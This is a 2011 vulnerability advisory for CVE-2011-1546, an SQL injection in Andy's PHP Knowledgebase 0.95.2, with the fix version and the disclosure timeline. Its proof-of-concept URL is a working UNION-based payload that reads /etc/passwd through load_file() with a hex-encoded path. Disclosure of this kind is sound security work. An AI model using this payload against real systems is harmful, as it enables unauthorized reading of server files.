'Andy's PHP Knowledgebase' SQL Injection Vulnerability (CVE-2011-1546) Mark Stanislav - mark.stanislav@gmail.com I. DESCRIPTION --------------------------------------- A vulnerability exists in a_viewusers.php allowing for SQL injection of the 's' query parameter. II. TESTED VERSION --------------------------------------- 0.95.2 III. PoC EXPLOIT --------------------------------------- http://www.example.com/aphpkb/a_viewusers.php?s=1%20UNION%20SELECT%20load_file(0x2f6574632f706173737764),null,null,null,null,null,null%20limit%200 IV. SOLUTION --------------------------------------- Upgrade to 0.95.3 or above. V. REFERENCES --------------------------------------- http://www.aphpkb.org/ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1546 http://www.uncompiled.com/2011/03/cve-2011-1546/ VI. TIMELINE --------------------------------------- 03/13/2011 - Initial vendor disclosure 03/16/2011 - Vendor patched and released an updated version 03/16/2011 - Confirmed fix & disclosure date 03/30/2011 - Public disclosure